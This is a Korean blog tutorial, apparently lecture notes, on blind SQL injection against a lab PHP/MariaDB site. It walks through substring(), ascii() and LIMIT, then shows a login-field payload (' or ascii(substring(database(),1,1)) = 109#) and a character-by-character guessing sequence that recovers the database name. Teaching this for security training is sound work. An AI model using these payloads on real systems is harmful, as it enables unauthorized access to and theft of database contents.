Linux/모의해킹

Blind SQLi

GGkeeper 2022. 1. 30. 20:23

##############
## Blind SQLi
##############

blind SQLi은 Query 의 결과 값이 반환되지 않고 감추어져 있을 경우에 사용하는 기법이다.
그러므로 눈에 보이지 않기 때문에 하나씩 하나씩 대조해서 원하는 결과값을 얻어야 한다.

Query 결과 확인
Boolean(true, false) 타입에 따라서 판단한다.
페이지 응답을 가지고 참/거짓을 판단한다.
Time 기반을 가지고 참/거짓을 판단한다.

설정 파일 변경
# vi /etc/php.ini
display_errors = Off

# systemctl restart httpd


display_errors = On으로 설정된 경우
- 개발 서버에서 사용한다.
- 에러가 발생하면 에러가 브라우저 화면에 출력된다.

display_errors = Off로 설정된 경우
- 운영 서버에서 사용한다.
- 에러가 발생하면 에러가 브라우저 화면이 아닌 서버의 로그 파일에 출력된다.
- 로그 위치 : /var/log/httpd/
- 가상호스트로 지정했을 때의 로그 위치 : 가상호스트의 세팅 부분을 참고


/etc/httpd/conf/httpd.conf 에 가상호스트 설정이 아래와 같다.
<VirtualHost *:80>
    ServerAdmin   webmaster@server1.kr
    DocumentRoot  /var/www/html
    ServerName    server1.kr
    ServerAlias   www.server1.kr
    ErrorLog      logs/server1.kr-error_log
    CustomLog     logs/server1.kr-access_log combined
</VirtualHost>

공격자가 id 파라미터에 ' 를 넣었다고 가정한다.
http://192.168.20.101/?id=bbs1'&m=list

브라우저 화면에는 에러가 출력되지 않는다.
대신 /var/log/httpd/server1.kr-error_log 에 기록되고 내용은 아래와 같다.
[Fri Jan 28 10:39:55.211932 2022] [:error] [pid 3180] [client 192.168.20.215:18204] PHP Warning:  mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/list.html on line 24


substring() : 문자열을 자르는 함수
형식 : substring(자를 문자열, 시작 위치, 개수)
substring() 함수에서 시작 위치는 1부터 시작한다.

MariaDB [mywebsite]> select 'admin';
+-------+
| admin |
+-------+
| admin |
+-------+
1 row in set (0.01 sec)

문자열에서 시작 위치를 변경하면서 출력을 확인한다.
MariaDB [mywebsite]> select substring('admin', 1, 1);
+--------------------------+
| substring('admin', 1, 1) |
+--------------------------+
| a                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 2, 1);
+--------------------------+
| substring('admin', 2, 1) |
+--------------------------+
| d                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 3, 1);
+--------------------------+
| substring('admin', 3, 1) |
+--------------------------+
| m                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 4, 1);
+--------------------------+
| substring('admin', 4, 1) |
+--------------------------+
| i                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 5, 1);
+--------------------------+
| substring('admin', 5, 1) |
+--------------------------+
| n                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 6, 1);
+--------------------------+
| substring('admin', 6, 1) |
+--------------------------+
|                          |
+--------------------------+
1 row in set (0.00 sec)


개수를 늘려가면서 문자열 출력을 확인한다.
MariaDB [mywebsite]> select substring('admin', 1, 1);
+--------------------------+
| substring('admin', 1, 1) |
+--------------------------+
| a                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 1, 2);
+--------------------------+
| substring('admin', 1, 2) |
+--------------------------+
| ad                       |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 1, 3);
+--------------------------+
| substring('admin', 1, 3) |
+--------------------------+
| adm                      |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 1, 4);
+--------------------------+
| substring('admin', 1, 4) |
+--------------------------+
| admi                     |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 1, 5);
+--------------------------+
| substring('admin', 1, 5) |
+--------------------------+
| admin                    |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 1, 6);
+--------------------------+
| substring('admin', 1, 6) |
+--------------------------+
| admin                    |
+--------------------------+
1 row in set (0.00 sec)

아스키코드 참고
https://ko.wikipedia.org/wiki/ASCII

ascii() : 문자의 ASCII 코드값을 10진수로 반환해주는 함수
형식 :  ascii(숫자), ascii('문자')

MariaDB [mywebsite]> select ascii(1);
+----------+
| ascii(1) |
+----------+
|       49 |
+----------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select ascii('b');
+------------+
| ascii('b') |
+------------+
|         98 |
+------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select ascii('c');
+------------+
| ascii('c') |
+------------+
|         99 |
+------------+
1 row in set (0.00 sec)


MariaDB [(none)]> select ascii('m');
+------------+
| ascii('m') |
+------------+
|        109 |
+------------+
1 row in set (0.00 sec)

MariaDB [(none)]> select ascii('i');
+------------+
| ascii('i') |
+------------+
|        105 |
+------------+
1 row in set (0.00 sec)

MariaDB [(none)]> select ascii('n');
+------------+
| ascii('n') |
+------------+
|        110 |
+------------+
1 row in set (0.00 sec)


MariaDB [mywebsite]> select no, userid from member;
+----+----------+
| no | userid   |
+----+----------+
|  1 | test     |  <-- limit 0,1  첫 번째 레코드
|  2 | blackhat |  <-- limit 1,1  두 번째 레코드
|  3 | admin    |  <-- limit 2,1  세 번째 레코드
+----+----------+
3 rows in set (0.00 sec)


MariaDB [mywebsite]> select no, userid from member limit 0, 1;
+----+--------+
| no | userid |
+----+--------+
|  1 | test   |
+----+--------+

1 row in set (0.00 sec)

MariaDB [mywebsite]> select no, userid from member limit 1,1;
+----+----------+
| no | userid   |
+----+----------+
|  2 | blackhat |
+----+----------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select no, userid from member limit 2, 1;
+----+--------+
| no | userid |
+----+--------+
|  3 | admin  |
+----+--------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring('admin', 1, 1);
+--------------------------+
| substring('admin', 1, 1) |
+--------------------------+
| a                        |
+--------------------------+
1 row in set (0.00 sec)


member테이블에서 첫 번째 레코드에서 1개를 확인하는 쿼리
MariaDB [mywebsite]> select userid from member limit 0,1;
+--------+
| userid |
+--------+
| test   |
+--------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인하는 쿼리
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,1);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,1) |
+------------------------------------------------------+
| t                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 2개의 문자를 확인하는 쿼리
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,2);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,2) |
+------------------------------------------------------+
| te                                                   |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,3);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,3) |
+------------------------------------------------------+
| tes                                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,4);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,4) |
+------------------------------------------------------+
| test                                                 |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,5);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,5) |
+------------------------------------------------------+
| test                                                 |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,6);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,6) |
+------------------------------------------------------+
| test                                                 |
+------------------------------------------------------+
1 row in set (0.00 sec)

a 와 같으면 결과는 1이 출력이 된다. (같으므로)
MariaDB [mywebsite]> select 'a' =  'a';
+------------+
| 'a' =  'a' |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

b 와 같으면 결과는 0이 출력이 된다. (다르므로)
MariaDB [mywebsite]> select 'a' =  'b';
+------------+
| 'a' =  'b' |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)


member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인하는 쿼리
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,1);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,1) |
+------------------------------------------------------+
| t                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인해서 
문자 a와 같으면 1이 출력되고 틀리면 0이 출력된다.

a와 같지 않으므로 0이 출력된다.
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,1) = 'a';
+------------------------------------------------------------+
| substring((select userid from member limit 0,1),1,1) = 'a' |
+------------------------------------------------------------+
|                                                          0 |
+------------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인해서 
문자 t와 같으면 1이 출력되고 틀리면 0이 출력된다.

t와 같으므로 1이 출력된다.
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,1) = 't';
+------------------------------------------------------------+
| substring((select userid from member limit 0,1),1,1) = 't' |
+------------------------------------------------------------+
|                                                          1 |
+------------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select database();
+------------+
| database() |
+------------+
| mywebsite  |
+------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select database();
+------------+
| database() |
+------------+
| mywebsite  |
+------------+
1 row in set (0.00 sec)

MariaDB [mywebsite]> select substring(database(), 1,1);
+----------------------------+
| substring(database(), 1,1) |
+----------------------------+
| m                          |
+----------------------------+
1 row in set (0.00 sec)

a와 같지 않으므로 0이 출력된다.
MariaDB [mywebsite]> select substring(database(), 1,1) = 'a';
+----------------------------------+
| substring(database(), 1,1) = 'a' |
+----------------------------------+
|                                0 |
+----------------------------------+
1 row in set (0.00 sec)

b와 같지 않으므로 0이 출력된다.
MariaDB [mywebsite]> select substring(database(), 1,1) = 'b';
+----------------------------------+
| substring(database(), 1,1) = 'b' |
+----------------------------------+
|                                0 |
+----------------------------------+
1 row in set (0.00 sec)

m과 같으므로 1이 출력된다.
MariaDB [mywebsite]> select substring(database(), 1,1) = 'm';
+----------------------------------+
| substring(database(), 1,1) = 'm' |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)


ASCII 코드 참고 : https://ko.wikipedia.org/wiki/ASCII

MariaDB [mywebsite]> select ascii(substring(database(), 1,1));
+-----------------------------------+
| ascii(substring(database(), 1,1)) |
+-----------------------------------+
|                               109 |
+-----------------------------------+
1 row in set (0.00 sec)

변환되는 순서
select ascii(substring(database(), 1,1));   database() : 'mywebsite'
select ascii(substring('mywebsite', 1,1));  substring() : 'm'
select ascii('m');  ascii() : 109

m 이므로 1이 출력된다.
MariaDB [mywebsite]> select ascii(substring(database(), 1,1)) = 109;
+-----------------------------------------+
| ascii(substring(database(), 1,1)) = 109 |
+-----------------------------------------+
|                                       1 |
+-----------------------------------------+
1 row in set (0.00 sec)

m 이 아니므로 0이 출력된다.
MariaDB [mywebsite]> select ascii(substring(database(), 1,1)) = 108;
+-----------------------------------------+
| ascii(substring(database(), 1,1)) = 108 |
+-----------------------------------------+
|                                       0 |
+-----------------------------------------+
1 row in set (0.00 sec)

사용자가 로그인할 때 쿼리

아이디/비번이 맞은 경우
MariaDB [mywebsite]> select * from member where userid='admin' and userpass = password('111111');
+----+-----------+--------+-------------------------------------------+-----------+---------------+---------------------+
| no | username  | userid | userpass                                  | useremail | ipaddr        | date                |
+----+-----------+--------+-------------------------------------------+-----------+---------------+---------------------+
|  3 | 관리자      | admin  | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | admin     | 192.168.101.1 | 2022-01-23 04:31:35 |
+----+-----------+--------+-------------------------------------------+-----------+---------------+---------------------+
1 row in set (0.00 sec)

아이디/비번이 틀린 경우
MariaDB [mywebsite]> select * from member where userid='admin' and userpass = password('222222');
Empty set (0.00 sec)


SELECT * FROM member WHERE userid='admin' and userpass=password('111111')
                                   ~~~~~                         ~~~~~~
사용자가 입력하는 부분                   1                              2

id : ' or ascii(substring(database(), 1,1)) = 109#
pw : 222222
SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 109#' and userpass=password('222222')

아래처럼 쿼리가 만들어진다.
109 == m
SELECT * FROM member WHERE userid='' or 109 = 109

+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
| no | username  | userid   | userpass                                  | useremail      | ipaddr        | date                |
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
|  1 | 공격자     | test     | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | attack@a.com   | 192.168.108.1 | 2022-01-23 04:31:35 |
|  2 | 블랙햇     | blackhat | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | test@naver.com | 192.168.108.1 | 2022-01-23 04:31:35 |
|  3 | 관리자     | admin    | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | admin          | 192.168.101.1 | 2022-01-23 04:31:35 |
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
3 rows in set (0.00 sec)

atabase가 m 으로 시작하는지 모르므로 처음부터 109(m)로 비교하면 안되고
97(a)부터 비교해서 숫자를 증가시키면 109가 되는 순간 같으므로 모든 레코드가 출력된다.

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 97;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 98;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 99;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 100;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 101;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 102;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 103;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 104;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 105;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 106;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 107;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 108;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 108;
Empty set (0.00 sec)

MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 109;
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
| no | username  | userid   | userpass                                  | useremail      | ipaddr        | date                |
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
|  1 | 공격자      | test     | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | attack@a.com   | 192.168.108.1 | 2022-01-23 04:31:35 |
|  2 | 블랙햇      | blackhat | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | test@naver.com | 192.168.108.1 | 2022-01-23 04:31:35 |
|  3 | 관리자      | admin    | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | admin          | 192.168.101.1 | 2022-01-23 04:31:35 |
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+


# 이후는 주석처리가 되므로
MariaDB [mywebsite]> SELECT userid FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 109#' and userpass=password('222222')

쿼리의 결과는 아래처럼 된다.
MariaDB [mywebsite]> SELECT userid FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 109;